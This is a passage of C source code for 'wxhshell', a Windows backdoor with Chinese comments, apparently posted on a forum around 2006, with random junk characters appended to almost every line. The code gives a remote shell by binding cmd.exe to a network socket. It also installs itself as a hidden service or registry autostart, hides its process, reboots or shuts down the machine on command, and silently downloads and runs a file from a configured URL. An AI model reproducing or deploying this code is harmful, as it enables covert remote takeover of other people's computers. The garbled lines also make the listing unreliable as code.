      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W X6&oy>  
    break; 0'?L#K  
  } q{;:SgZ  
  // 安装 s.NGA.]$  
  case 'i': { \d$!a5LF}  
    if(Install()) UFb )AnK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ck7uJI<x  
    else e.V:)7Uc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "C0Q(dr/n  
    break; h2 ;F  
    } !ff&W1@  
  // 卸载 8StgsM  
  case 'r': { = 6\^%  
    if(Uninstall()) 1 Nd2{(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  p|D/;Mk  
    else C#Iybg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O55 xS+3^k  
    break; 9o:Lz5 o  
    } HJYScwjQ;`  
  // 显示 wxhshell 所在路径 63,H{  
  case 'p': { K~eh P[^  
    char svExeFile[MAX_PATH]; agW@ {c  
    strcpy(svExeFile,"\n\r"); **gXvTqI  
      strcat(svExeFile,ExeFile); ax5<#3__  
        send(wsh,svExeFile,strlen(svExeFile),0); >%8KK|V{  
    break; pOG1jI5<{8  
    } um>6z_"  
  // 重启 Px`!A EFd[  
  case 'b': { "y/?WQ>,3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *w0%d1  
    if(Boot(REBOOT)) Y,t={HiclX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (|1A?@sJ#h  
    else {  0$fpIz  
    closesocket(wsh); u-G+ j)  
    ExitThread(0); ;&-k#PE]/H  
    } 5>N2:9We  
    break; G..aiA  
    } h/hmlnOQl  
  // 关机 ! lc[  
  case 'd': { RcU}}V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xCl1g4N  
    if(Boot(SHUTDOWN)) T&o(N3lW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;<Xo&  
    else { yx&51G$  
    closesocket(wsh); /F'sb[  
    ExitThread(0); :~N-.#  
    } mah JSz(3  
    break; 9=h'9Wo  
    } @x'"~"%7b  
  // 获取shell ^mO~ W!"  
  case 's': { 8jo p_PG'  
    CmdShell(wsh); q0R -7O(  
    closesocket(wsh); dD|OSB7 I7  
    ExitThread(0); 9}F*P669f  
    break; .NC:;@y  
  } fd<:_f]v  
  // 退出 H0`]V6+<f  
  case 'x': { 8sTp`}54 J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K<ft2anY5  
    CloseIt(wsh); l@+7:n4K0  
    break; $jI3VB  
    } MWpQ^dL_  
  // 离开  fc-iAj  
  case 'q': { WRy aKM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?+W 9az]+  
    closesocket(wsh); dj7hx"BI  
    WSACleanup(); L`p4->C9A  
    exit(1); Za3]d+qm  
    break; 2Mvrey)  
        } 1o;J,dYu  
  } kG@@ot" n  
  } nv%rJy*w[  
evAMJ=  
  // 提示信息 {kCw+eXn?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^O<&f D  
} F{Jw ^\  
  } %gyLCTw  
y 4I6  
  return; [nc4{0aT'  
} &d+Kg0:  
%]DP#~7[|  
// shell模块句柄 Nj xoTLI  
int CmdShell(SOCKET sock) O%(fx!c`  
{ Mg OR2,cR  
STARTUPINFO si; hp* /#D  
ZeroMemory(&si,sizeof(si)); (-xS?8x$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P+PR<ZoI{f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -o[x2u~n\  
PROCESS_INFORMATION ProcessInfo; Wm"4Ae:B  
char cmdline[]="cmd"; ;8*`{F[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?NR A:t(}  
  return 0; c5l.B#-lY  
} cc&axc7I  
ujaG Ng?,  
// 自身启动模式 28H8l2{[>  
int StartFromService(void) V|/NB  
{ #Jn_c0  
typedef struct 8:>1F,  
{ 8x8 uo  
  DWORD ExitStatus; ;04Ldb1{|3  
  DWORD PebBaseAddress; ,TPISs  
  DWORD AffinityMask; zj`v?#ET  
  DWORD BasePriority; S\5bmvqP"  
  ULONG UniqueProcessId; YW`,v6  
  ULONG InheritedFromUniqueProcessId; O<"}|nbmQ[  
}   PROCESS_BASIC_INFORMATION; Vf'd*-_!Q<  
x&9hI  
PROCNTQSIP NtQueryInformationProcess; 'fF;(?  
sqJSSNt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >`wV1^M6?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x2z;6)  
8` @G;o  
  HANDLE             hProcess; W#BM(I  
  PROCESS_BASIC_INFORMATION pbi; 0-|byAh  
/D^"X 4!"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Eu-RNrYh#  
  if(NULL == hInst ) return 0; Y&_&s7z  
BV(8y.H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gO,25::")  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '|*?*6q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1~ t{aLPz  
)m{Ye0!RD  
  if (!NtQueryInformationProcess) return 0; @@rEs40  
r8&^>4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9Xl5@%uz?z  
  if(!hProcess) return 0; Z]WnG'3N  
f=!VsR2o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P*@2.#oO  
OY5OJ*   
  CloseHandle(hProcess); .G(llA}  
GbA.UM ~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eKz?"g/j  
if(hProcess==NULL) return 0; )aao[_ZS  
Cc<,z*T  
HMODULE hMod; +1!qs,  
char procName[255]; n?ctLbg  
unsigned long cbNeeded; E+tB&  
D?,#aB"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @~"an qT`  
B Ma)O  
  CloseHandle(hProcess); saAxGG  
*"98L+  
if(strstr(procName,"services")) return 1; // 以服务启动 npyAJp  
?EpSC&S\  
  return 0; // 注册表启动 3ZZV<SS  
} X3:XTuV   
lR`'e0Lq  
// 主模块 )VK }m9Ae  
int StartWxhshell(LPSTR lpCmdLine) 7GS V  
{ #9 fWAF  
  SOCKET wsl; :BukUket1e  
BOOL val=TRUE; je4w=]JV  
  int port=0; q4$+H{xB  
  struct sockaddr_in door; :@xm-.D  
qG/fE'(j&  
  if(wscfg.ws_autoins) Install(); %Lrd6i_j  
G"59cv8z4R  
port=atoi(lpCmdLine); (j"(  
Q2];RS3.  
if(port<=0) port=wscfg.ws_port; J.+BD\pa  
c$,_>tcP  
  WSADATA data; 4E[!,zvl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LrV{j?2@  
mNAY%Wn6k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9 ASb>A2~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q7m6&2$[  
  door.sin_family = AF_INET; vF/ =J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]PP:oriWl  
  door.sin_port = htons(port); W Qzj[  
b*mKei  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !epgTN  
closesocket(wsl); HXVBb%pP  
return 1; L]hXp t  
} W*:,m8wk  
LFp]7Dq  
  if(listen(wsl,2) == INVALID_SOCKET) { .LRxP#B  
closesocket(wsl); \#x}q'BC4  
return 1; V*$L;xbC|  
} !b-bP,q  
  Wxhshell(wsl); Na,_  
  WSACleanup(); ` C+HE$B  
ixh47M  
return 0; o:dR5v  
/<3<. ~  
} Hj1 EGCA  
}5O>EXE0R  
// 以NT服务方式启动 FM5e+$>@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '7B"(dA&C  
{ W:VP1 :  
DWORD   status = 0; $O:w(U  
  DWORD   specificError = 0xfffffff; +|%Sx  
l??;3kh1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TE-;X,gDV_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x q-$\#O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hvt@XZT  
  serviceStatus.dwWin32ExitCode     = 0; @gBE{)Fj  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 vKx]w  
  serviceStatus.dwCheckPoint       = 0; N<_Ko+VF  
  serviceStatus.dwWaitHint       = 0; q cA`)j  
j%*7feSNC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9<]a!:!^  
  if (hServiceStatusHandle==0) return; >^"BEG9i:  
jUjr6b"  
status = GetLastError(); TQ1WVq }*  
  if (status!=NO_ERROR) 9;r? nZT/  
{ lg:y|@Y''  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SLk2X;c]o  
    serviceStatus.dwCheckPoint       = 0; (%Oe_*e}Y  
    serviceStatus.dwWaitHint       = 0; eE/%6g  
    serviceStatus.dwWin32ExitCode     = status; F}rPY:  
    serviceStatus.dwServiceSpecificExitCode = specificError; %W|DJ\l8"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #DP7SO  
    return; O'}l lo  
  } s"0b%0?A  
]s|lxqP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +3bfD  
  serviceStatus.dwCheckPoint       = 0; n*qN 29sx  
  serviceStatus.dwWaitHint       = 0; iIU( C.I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >4![&&  
} <e6=% 9  
`h;}3r#R{  
// 处理NT服务事件,比如:启动、停止 liNON  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5FuK\y  
{ ^w6eWzI  
switch(fdwControl) <~%t$:  
{ cq^sq1A:  
case SERVICE_CONTROL_STOP:  "jU  
  serviceStatus.dwWin32ExitCode = 0; Yn[x #DS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4IGxI7~27#  
  serviceStatus.dwCheckPoint   = 0; ":&|[9/  
  serviceStatus.dwWaitHint     = 0; ?2~U2Ir]:  
  { K M]Wl_z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \!X?zR_  
  } o?R,0 -  
  return; I>m;G `  
case SERVICE_CONTROL_PAUSE: rr>~WjZ3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -iQsi4  
  break; lgG8!Ja  
case SERVICE_CONTROL_CONTINUE: [n<.fw8$b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *#ompm  
  break; iy 3DX|]  
case SERVICE_CONTROL_INTERROGATE: ~ iT{8  
  break; $wXih#7  
}; $PfV<Yj'B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GHrBK&  
} cJ4S!  
|7S:l9;  
// 标准应用程序主函数 #HcI4j:s!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >#i $Tw  
{ \R;K>c7=  
F0: &>'}  
// 获取操作系统版本 xfU hSt  
OsIsNt=GetOsVer(); gx&73f<J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w\v&3T   
>huqt|S*9  
  // 从命令行安装 +wjlAqMQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); iDvpXn  
B#H2RTc  
  // 下载执行文件 ][ N) 2_^M  
if(wscfg.ws_downexe) { <VgE39 [  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S%P3ek>3  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;W4:#/~14  
} >|S>J+(  
K/A ? ]y  
if(!OsIsNt) { 0 wYiu  
// 如果时win9x,隐藏进程并且设置为注册表启动 DwC@"i.  
HideProc(); ees^O{ 8  
StartWxhshell(lpCmdLine); 9M19 UP&  
} t"#lnG!G  
else v,@E}F~-f1  
  if(StartFromService()) %L.rcbg:<c  
  // 以服务方式启动 \j/}rzo]  
  StartServiceCtrlDispatcher(DispatchTable); ="=#5C  
else PH{ c,  
  // 普通方式启动 ]s}aC9I  
  StartWxhshell(lpCmdLine); Xd5! Ti}  
!4!S{#<q  
return 0; u<J2p?`\&`  
}
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只看该作者 1 发表于: 2006-10-10
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